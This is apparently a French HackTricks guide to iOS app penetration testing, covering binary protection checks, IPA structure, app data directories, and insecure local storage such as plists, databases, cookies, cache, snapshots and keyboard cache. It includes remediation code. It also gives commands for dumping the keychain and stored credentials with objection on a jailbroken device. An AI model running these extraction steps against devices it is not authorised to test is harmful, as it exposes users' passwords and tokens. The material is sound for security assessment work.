.. | ||
basic-ios-testing-operations.md | ||
burp-configuration-for-ios.md | ||
extracting-entitlements-from-compiled-application.md | ||
frida-configuration-in-ios.md | ||
ios-app-extensions.md | ||
ios-basics.md | ||
ios-custom-uri-handlers-deeplinks-custom-schemes.md | ||
ios-hooking-with-objection.md | ||
ios-protocol-handlers.md | ||
ios-serialisation-and-encoding.md | ||
ios-testing-environment.md | ||
ios-uiactivity-sharing.md | ||
ios-uipasteboard.md | ||
ios-universal-links.md | ||
ios-webviews.md | ||
README.md |
iOS Pentesting
Utilisez Trickest pour construire et automatiser des workflows grâce aux outils communautaires les plus avancés. Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Fondamentaux iOS
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
Environnement de Test
Sur cette page, vous trouverez des informations sur le simulateur iOS, les émulateurs et le jailbreaking :
{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}
Analyse Initiale
Opérations de Test iOS de Base
Pendant le test, plusieurs opérations seront suggérées (se connecter à l'appareil, lire/écrire/télécharger/déposer des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez commencer par lire la page :
{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}
{% hint style="info" %} Pour les étapes suivantes, l'application doit être installée sur l'appareil et vous devriez déjà avoir obtenu le fichier IPA de l'application. Lisez la page Opérations de Test iOS de Base pour apprendre à faire cela. {% endhint %}
Analyse Statique de Base
Il est recommandé d'utiliser l'outil MobSF pour effectuer une Analyse Statique automatique du fichier IPA.
Identification des protections présentes dans le binaire :
- PIE (Position Independent Executable) : Lorsqu'activé, l'application se charge à une adresse mémoire aléatoire à chaque lancement, rendant plus difficile la prédiction de son adresse mémoire initiale.
otool -hv <app-binary> | grep PIE # Devrait inclure le drapeau PIE
- Canaries de Pile : Pour valider l'intégrité de la pile, une valeur 'canary' est placée sur la pile avant d'appeler une fonction et est à nouveau validée une fois la fonction terminée.
otool -I -v <app-binary> | grep stack_chk # Devrait inclure les symboles : stack_chk_guard et stack_chk_fail
- ARC (Automatic Reference Counting) : Pour prévenir les défauts courants de corruption de mémoire
otool -I -v <app-binary> | grep objc_release # Devrait inclure le symbole _objc_release
- Binaire Chiffré : Le binaire devrait être chiffré
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Le cryptid devrait être 1
Identification de Fonctions Sensibles/Non Sécurisées
- Algorithmes de Hachage Faibles
# Sur l'appareil iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# Sur linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- Fonctions Aléatoires Non Sécurisées
# Sur l'appareil iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# Sur linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- Fonction ‘Malloc’ Non Sécurisée
# Sur l'appareil iOS
otool -Iv <app> | grep -w "_malloc"
# Sur linux
grep -iER "_malloc"
- Fonctions Non Sécurisées et Vulnérables
# Sur l'appareil iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# Sur linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
Analyse Dynamique de Base
Consultez l'analyse dynamique que MobSF effectue. Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais cela impliquera de crocheter plusieurs classes en faisant d'autres choses et préparera un rapport une fois que vous aurez terminé.
Liste des Applications Installées
Lorsque vous ciblez des applications installées sur l'appareil, vous devrez d'abord déterminer le bon identifiant de bundle de l'application que vous souhaitez analyser. Vous pouvez utiliser frida-ps -Uai
pour obtenir toutes les applications (-a
) actuellement installées (-i
) sur l'appareil USB connecté (-U
) :
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
Énumération de base et Hooking
Apprenez comment énumérer les composants de l'application et comment intercepter facilement des méthodes et des classes avec objection :
{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}
Structure IPA
Les fichiers .ipa
sont des paquets compressés, donc vous pouvez changer l'extension en .zip
et les décompresser. Une application complètement empaquetée prête à être installée est communément appelée un Bundle.
Après les avoir décompressés, vous devriez voir <NAME>.app
, une archive compressée qui contient le reste des ressources.
Info.plist
: Un fichier qui contient certaines des configurations spécifiques de l'application._CodeSignature/
contient un fichier plist avec une signature sur tous les fichiers du bundle.Assets.car
: Une autre archive compressée qui contient des actifs (icônes).Frameworks/
contient les bibliothèques natives de l'application sous forme de fichiers .dylib ou .framework.PlugIns/
peut contenir des extensions d'application sous forme de fichiers .appex (non présents dans l'exemple).Core Data
: Utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires, et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser les données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.PkgInfo
: Le fichierPkgInfo
est une autre manière de spécifier les codes de type et de créateur de votre application ou bundle.- en.lproj, fr.proj, Base.lproj : Sont les packs de langue qui contiennent des ressources pour ces langues spécifiques, et une ressource par défaut en cas de langue non prise en charge.
Il existe plusieurs manières de définir l'UI dans une application iOS : fichiers storyboard, nib ou xib.
Info.plist
La liste des propriétés d'information ou Info.plist
est la principale source d'information pour une application iOS. Il s'agit d'un fichier structuré contenant des paires clé-valeur décrivant des informations de configuration essentielles sur l'application. En fait, tous les exécutables groupés (extensions d'application, frameworks et applications) sont censés avoir un fichier Info.plist
. Vous pouvez trouver toutes les clés possibles dans la Documentation pour les développeurs Apple.
Le fichier peut être formaté en XML ou binaire (bplist). Vous pouvez le convertir au format XML avec une simple commande :
- Sur macOS avec
plutil
, qui est un outil fourni nativement avec macOS 10.2 et les versions ultérieures (aucune documentation en ligne officielle n'est actuellement disponible) :
$ plutil -convert xml1 Info.plist
- Sur Linux :
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Voici une liste non exhaustive de certaines informations et des mots-clés correspondants que vous pouvez facilement rechercher dans le fichier Info.plist
en inspectant simplement le fichier ou en utilisant grep -i <mot-clé> Info.plist
:
- Chaînes de description des permissions de l'application :
UsageDescription
- Schémas d'URL personnalisés :
CFBundleURLTypes
- Types de documents personnalisés exportés/importés :
UTExportedTypeDeclarations
/UTImportedTypeDeclarations
- Configuration de la sécurité du transport d'application (ATS) :
NSAppTransportSecurity
Veuillez vous référer aux chapitres mentionnés pour en savoir plus sur la manière de tester chacun de ces points.
Chemins de données
Sur iOS, les applications système se trouvent dans le répertoire /Applications
tandis que les applications installées par l'utilisateur sont disponibles sous /private/var/containers/
. Cependant, trouver le bon dossier juste en naviguant dans le système de fichiers n'est pas une tâche triviale car chaque application reçoit un UUID aléatoire de 128 bits (Identifiant Unique Universel) attribué pour les noms de ses répertoires.
Pour obtenir facilement les informations du répertoire d'installation des applications installées par l'utilisateur, vous pouvez utiliser la commande env
d'objection qui vous montrera également toutes les informations de répertoire de l'application :
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
Vous pouvez également rechercher le nom de l'application dans /private/var/containers
:
find /private/var/containers -name "Progname*"
Ou en utilisant ps
et lsof
:
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
Comme vous pouvez le voir, les applications ont deux emplacements principaux :
- Le répertoire Bundle (
/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/
). - Le répertoire des données (
/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/
).
Ces dossiers contiennent des informations qui doivent être examinées attentivement lors des évaluations de sécurité des applications (par exemple lors de l'analyse des données stockées pour des données sensibles).
Répertoire Bundle :
- AppName.app
- Il s'agit du Bundle d'application comme vu précédemment dans l'IPA, il contient des données essentielles de l'application, du contenu statique ainsi que le binaire compilé de l'application.
- Ce répertoire est visible par les utilisateurs, mais les utilisateurs ne peuvent pas écrire dedans.
- Le contenu de ce répertoire n'est pas sauvegardé.
- Le contenu de ce dossier est utilisé pour valider la signature du code.
Répertoire des données :
- Documents/
- Contient toutes les données générées par l'utilisateur. L'utilisateur final de l'application initie la création de ces données.
- Visible par les utilisateurs et les utilisateurs peuvent écrire dedans.
- Le contenu de ce répertoire est sauvegardé.
- L'application peut désactiver des chemins en définissant
NSURLIsExcludedFromBackupKey
. - Library/
- Contient tous les fichiers qui ne sont pas spécifiques à l'utilisateur, tels que les caches, les préférences, les cookies, et les fichiers de configuration de liste de propriétés (plist).
- Les applications iOS utilisent généralement les sous-répertoires
Application Support
etCaches
, mais l'application peut créer des sous-répertoires personnalisés. - Library/Caches/
- Contient des fichiers mis en cache semi-persistants.
- Invisible pour les utilisateurs et les utilisateurs ne peuvent pas écrire dedans.
- Le contenu de ce répertoire n'est pas sauvegardé.
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
- Library/Application Support/
- Contient des fichiers persistants nécessaires au fonctionnement de l'application.
- Invisible aux utilisateurs et les utilisateurs ne peuvent pas écrire dedans.
- Le contenu de ce répertoire est sauvegardé.
- L'application peut désactiver des chemins en définissant
NSURLIsExcludedFromBackupKey
. - Library/Preferences/
- Utilisé pour stocker des propriétés qui peuvent persister même après le redémarrage d'une application.
- Les informations sont sauvegardées, non chiffrées, à l'intérieur du sandbox de l'application dans un fichier plist appelé [BUNDLE_ID].plist.
- Toutes les paires clé/valeur stockées en utilisant
NSUserDefaults
peuvent être trouvées dans ce fichier. - tmp/
- Utilisez ce répertoire pour écrire des fichiers temporaires qui n'ont pas besoin de persister entre les lancements de l'application.
- Contient des fichiers mis en cache non persistants.
- Invisible aux utilisateurs.
- Le contenu de ce répertoire n'est pas sauvegardé.
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
Examinons de plus près le répertoire Bundle de l'application iGoat-Swift (.app) à l'intérieur du répertoire Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
) :
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
Inversion de Binaire
Dans le dossier <application-name>.app
, vous trouverez un fichier binaire appelé <application-name>
. C'est le fichier qui sera exécuté. Vous pouvez effectuer une inspection de base du binaire avec l'outil otool
:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
Vérifiez si l'application est chiffrée
Regardez s'il y a une sortie pour :
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
Désassemblage du binaire
Désassemblez la section de texte :
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
Pour imprimer le segment Objective-C de l'application exemple, on peut utiliser :
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
Afin d'obtenir un code Objective-C plus compact, vous pouvez utiliser class-dump :
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
Cependant, les meilleures options pour désassembler le binaire sont : Hopper et IDA.
Utilisez Trickest pour construire et automatiser des workflows facilement, alimentés par les outils communautaires les plus avancés. Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Stockage de données
Pour en savoir plus sur la manière dont iOS stocke les données sur l'appareil, lisez cette page :
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
{% hint style="warning" %} Les emplacements suivants pour stocker des informations doivent être vérifiés juste après l'installation de l'application, après avoir vérifié toutes les fonctionnalités de l'application et même après s'être déconnecté d'un utilisateur et connecté à un autre. L'objectif est de trouver des informations sensibles non protégées de l'application (mots de passe, jetons), de l'utilisateur actuel et des utilisateurs précédemment connectés. {% endhint %}
Plist
Les fichiers plist sont des fichiers XML structurés qui contiennent des paires clé-valeur. C'est une manière de stocker des données persistantes, donc parfois vous pouvez trouver des informations sensibles dans ces fichiers. Il est recommandé de vérifier ces fichiers après avoir installé l'application et après l'avoir utilisée intensivement pour voir si de nouvelles données sont écrites.
La manière la plus courante de persister les données dans les fichiers plist est via l'utilisation de NSUserDefaults. Ce fichier plist est sauvegardé à l'intérieur du bac à sable de l'application dans Library/Preferences/<appBundleID>.plist
La classe NSUserDefaults
fournit une interface programmatique pour interagir avec le système par défaut. Le système par défaut permet à une application de personnaliser son comportement selon les préférences de l'utilisateur. Les données sauvegardées par NSUserDefaults
peuvent être consultées dans le paquet de l'application. Cette classe stocke les données dans un fichier plist, mais elle est destinée à être utilisée avec de petites quantités de données.
Ces données ne peuvent plus être directement accessibles via un ordinateur de confiance, mais peuvent être accessibles en effectuant une sauvegarde.
Vous pouvez extraire les informations sauvegardées en utilisant NSUserDefaults
avec la commande ios nsuserdefaults get
d'objection.
Pour trouver tous les plist utilisés par l'application, vous pouvez accéder à /private/var/mobile/Containers/Data/Application/{APPID}
et exécuter :
find ./ -name "*.plist"
Le fichier peut être formaté en XML ou binaire (bplist). Vous pouvez le convertir en format XML avec une simple commande :
- Sur macOS avec
plutil
, qui est un outil fourni nativement avec les versions macOS 10.2 et supérieures (aucune documentation officielle en ligne n'est actuellement disponible) :
$ plutil -convert xml1 Info.plist
- Sur Linux :
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
- Lors d'une session objection :
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
Core Data
Core Data
est un framework pour gérer la couche modèle d'objets dans votre application. Core Data peut utiliser SQLite comme son stockage persistant, mais le framework en lui-même n'est pas une base de données.
CoreData ne chiffre pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Voir le dépôt GitHub pour plus de détails.
Vous pouvez trouver les informations SQLite Core Data d'une application dans le chemin /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
Si vous pouvez ouvrir le SQLite et accéder à des informations sensibles, alors vous avez trouvé une mauvaise configuration.
{% code title="Code de iGoat" %}
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
YapDatabase
YapDatabase est un magasin de clés/valeurs construit sur SQLite.
Comme les bases de données Yap sont des bases de données sqlite, vous pouvez les trouver en utilisant la commande suggérée dans la section précédente.
Autres bases de données SQLite
Il est courant que les applications créent leur propre base de données sqlite. Elles peuvent stocker des données sensibles et les laisser non chiffrées. Par conséquent, il est toujours intéressant de vérifier chaque base de données dans le répertoire des applications. Allez donc dans le répertoire de l'application où les données sont sauvegardées (/private/var/mobile/Containers/Data/Application/{APPID}
)
find ./ -name "*.sqlite" -or -name "*.db"
Bases de données Firebase en temps réel
Elles peuvent être utilisées par les développeurs d'applications pour stocker et synchroniser des données avec une base de données hébergée dans le cloud NoSQL. Les données sont stockées au format JSON et sont synchronisées en temps réel avec chaque client connecté et restent également disponibles même lorsque l'application est hors ligne.
Vous pouvez trouver comment vérifier les bases de données Firebase mal configurées ici :
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}
Bases de données Realm
Realm Objective-C et Realm Swift ne sont pas fournis par Apple, mais ils méritent tout de même d'être mentionnés. Ils stockent tout en clair, à moins que la configuration ne soit activée pour le chiffrement.
Vous pouvez trouver ces bases de données dans /private/var/mobile/Containers/Data/Application/{APPID}
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
Vous pouvez utiliser l'outil Realm Studio pour ouvrir ces fichiers de base de données.
L'exemple suivant démontre comment utiliser le chiffrement avec une base de données Realm :
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Bases de données Couchbase Lite
Couchbase Lite est un moteur de base de données léger, embarqué et orienté document (NoSQL) qui peut être synchronisé. Il est compilé nativement pour iOS et macOS.
Vérifiez les éventuelles bases de données couchbase dans /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
Cookies
iOS stocke les cookies des applications dans le fichier Library/Cookies/cookies.binarycookies
à l'intérieur du dossier de chaque application. Cependant, les développeurs décident parfois de les sauvegarder dans le trousseau car le fichier de cookies mentionné peut être accédé dans les sauvegardes.
Pour inspecter le fichier des cookies, vous pouvez utiliser ce script python ou utiliser la commande d'objection ios cookies get
.
Vous pouvez également utiliser objection pour convertir ces fichiers au format JSON et inspecter les données.
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
Cache
Par défaut, NSURLSession stocke des données, telles que les requêtes et réponses HTTP dans la base de données Cache.db. Cette base de données peut contenir des données sensibles, si des jetons, noms d'utilisateur ou toute autre information sensible ont été mis en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l'application (/var/mobile/Containers/Data/Application/<UUID>
) et allez dans /Library/Caches/<Bundle Identifier>
. Le cache WebKit est également stocké dans le fichier Cache.db. Objection peut ouvrir et interagir avec la base de données avec la commande sqlite connect Cache.db
, car c'est une base de données SQLite normale.
Il est recommandé de désactiver la mise en cache de ces données, car elles peuvent contenir des informations sensibles dans la requête ou la réponse. La liste suivante montre différentes manières de réaliser cela :
- Il est recommandé de supprimer les réponses mises en cache après la déconnexion. Cela peut être fait avec la méthode fournie par Apple appelée
removeAllCachedResponses
. Vous pouvez appeler cette méthode comme suit :
URLCache.shared.removeAllCachedResponses()
Cette méthode supprimera toutes les requêtes et réponses mises en cache du fichier Cache.db. 2. Si vous n'avez pas besoin d'utiliser l'avantage des cookies, il serait recommandé d'utiliser simplement la propriété de configuration .ephemeral de URLSession, qui désactivera l'enregistrement des cookies et des caches.
Un objet de configuration de session éphémère est similaire à une configuration de session par défaut (voir default), sauf que l'objet de session correspondant ne stocke pas de caches, de magasins de certificats ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées en RAM. La seule fois où une session éphémère écrit des données sur le disque est lorsque vous lui demandez d'écrire le contenu d'une URL dans un fichier.
3. Le cache peut également être désactivé en définissant la politique de cache à .notAllowed. Cela désactivera le stockage du cache de quelque manière que ce soit, que ce soit en mémoire ou sur disque.
Instantanés
Chaque fois que vous appuyez sur le bouton d'accueil, iOS prend un instantané de l'écran actuel pour pouvoir faire la transition vers l'application de manière beaucoup plus fluide. Cependant, si des données sensibles sont présentes sur l'écran actuel, elles seront sauvegardées dans l'image (qui persiste après redémarrage). Ce sont les instantanés auxquels vous pouvez également accéder en appuyant deux fois sur le bouton d'accueil pour basculer entre les applications.
À moins que l'iPhone ne soit jailbreaké, l'attaquant a besoin d'avoir accès au périphérique débloqué pour voir ces captures d'écran. Par défaut, le dernier instantané est stocké dans le bac à sable de l'application dans le dossier Library/Caches/Snapshots/
ou Library/SplashBoard/Snapshots
(les ordinateurs de confiance ne peuvent pas accéder au système de fichiers à partir d'iOS 7.0).
Une façon d'empêcher ce mauvais comportement est de placer un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction ApplicationDidEnterBackground()
.
Voici une méthode de correction d'exemple qui définira une capture d'écran par défaut.
Swift :
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C :
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
Cela définit l'image de fond à overlayImage.png
chaque fois que l'application est mise en arrière-plan. Cela empêche les fuites de données sensibles car overlayImage.png
remplacera toujours la vue actuelle.
Trousseau
Des outils comme Keychain-Dumper peuvent être utilisés pour vider le trousseau (l'appareil doit être jailbreaké).
Vous pouvez également utiliser ios keychain dump
de Objection.
NSURLCredential
NSURLCredential est la classe parfaite pour stocker le nom d'utilisateur et le mot de passe dans le trousseau. Pas besoin de se soucier de NSUserDefaults ni d'aucun wrapper de trousseau.
Une fois l'utilisateur connecté, vous pouvez stocker son nom d'utilisateur et son mot de passe dans le trousseau :
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
Vous pouvez utiliser ios nsurlcredentialstorage dump
de Objection pour extraire ces secrets.
Claviers Personnalisés/Cache du Clavier
À partir d'iOS 8.0, Apple permet d'installer des extensions personnalisées pour iOS, comme des claviers personnalisés.
Les claviers installés peuvent être gérés via Réglages > Général > Clavier > Claviers
Les claviers personnalisés peuvent être utilisés pour espionner les frappes et les envoyer au serveur de l'attaquant. Cependant, notez que les claviers personnalisés nécessitant une connectivité réseau seront signalés à l'utilisateur.
De plus, l'utilisateur peut passer à un autre (plus fiable) clavier pour introduire les identifiants.
De plus, les applications peuvent empêcher leurs utilisateurs d'utiliser des claviers personnalisés au sein de l'application (ou du moins pour les parties sensibles de l'application).
{% hint style="warning" %} Il est recommandé de ne pas autoriser les claviers tiers si vous considérez que les utilisateurs n'en auront pas besoin. {% endhint %}
Notez qu'en raison de la correction automatique et des suggestions automatiques, le clavier iOS par défaut capturera et stockera chaque mot non standard dans un fichier cache si l'attribut secureTextEntry n'est pas défini sur true ou si autoCorrectionType n'est pas défini sur UITextAutoCorrectionTypeNo.
Par défaut, les claviers stockent ce cache à l'intérieur du bac à sable des applications dans le fichier Library/Keyboard/{locale}-dynamic-text.dat
ou dans /private/var/mobile/Library/Keyboard/dynamic-text.dat
. Cependant, il se pourrait qu'il sauvegarde les données ailleurs.
Il est possible de réinitialiser le cache dans Réglages > Général > Réinitialiser > Réinitialiser le dictionnaire du clavier
{% hint style="info" %}
Par conséquent, vérifiez toujours ces fichiers et recherchez des informations sensibles possibles.
Intercepter le trafic réseau est une autre manière de vérifier si le clavier personnalisé envoie des frappes à un serveur distant.
{% endhint %}
Le protocole UITextInputTraits est utilisé pour la mise en cache du clavier. Les classes UITextField, UITextView et UISearchBar prennent automatiquement en charge ce protocole et il offre les propriétés suivantes :
var autocorrectionType: UITextAutocorrectionType
détermine si la correction automatique est activée pendant la frappe. Lorsque la correction automatique est activée, l'objet texte suit les mots inconnus et suggère des remplacements appropriés, remplaçant automatiquement le texte tapé à moins que l'utilisateur ne remplace la correction. La valeur par défaut de cette propriété estUITextAutocorrectionTypeDefault
, qui pour la plupart des méthodes de saisie active la correction automatique.var secureTextEntry: BOOL
détermine si la copie de texte et la mise en cache du texte sont désactivées et masque le texte saisi pourUITextField
. La valeur par défaut de cette propriété estNO
.
Pour identifier ce comportement dans le code :
- Recherchez dans le code source des implémentations similaires, telles que
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
- Ouvrez les fichiers xib et storyboard dans
Interface Builder
de Xcode et vérifiez les états deSecure Text Entry
etCorrection
dansAttributes Inspector
pour l'objet approprié.
L'application doit empêcher la mise en cache des informations sensibles saisies dans les champs de texte. Vous pouvez empêcher la mise en cache en la désactivant de manière programmatique, en utilisant la directive textObject.autocorrectionType = UITextAutocorrectionTypeNo
dans les UITextFields, UITextViews et UISearchBars souhaités. Pour les données qui doivent être masquées, telles que les PINs et les mots de passe, définissez textObject.secureTextEntry
sur YES
.
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
Journaux
La manière la plus courante de déboguer du code est l'utilisation de journaux, et l'application peut imprimer des informations sensibles dans les journaux.
Dans les versions iOS 6 et antérieures, les journaux étaient lisibles par tous (une application malveillante pouvait lire les journaux d'autres applications et en extraire des informations sensibles). De nos jours, les applications ne peuvent accéder qu'à leurs propres journaux.
Cependant, un attaquant avec un accès physique à un appareil déverrouillé peut le connecter à un ordinateur et lire les journaux (notez que les journaux écrits sur le disque par une application ne sont pas supprimés si l'application est désinstallée).
Il est recommandé de naviguer à travers tous les écrans de l'application et d'interagir avec chaque élément de l'interface utilisateur et fonctionnalité et de fournir du texte dans tous les champs de texte et examiner les journaux à la recherche d'informations sensibles exposées.
Utilisez les mots-clés suivants pour vérifier le code source de l'application pour les déclarations de journalisation prédéfinies et personnalisées :
- Pour les fonctions prédéfinies et intégrées :
- NSLog
- NSAssert
- NSCAssert
- fprintf
- Pour les fonctions personnalisées :
- Logging
- Logfile
Surveillance des journaux système
De nombreuses applications enregistrent des messages informatifs (et potentiellement sensibles) dans le journal de la console. Le journal contient également des rapports de plantage et d'autres informations utiles.
Vous pouvez utiliser ces outils :
idevice_id --list # To find the device ID
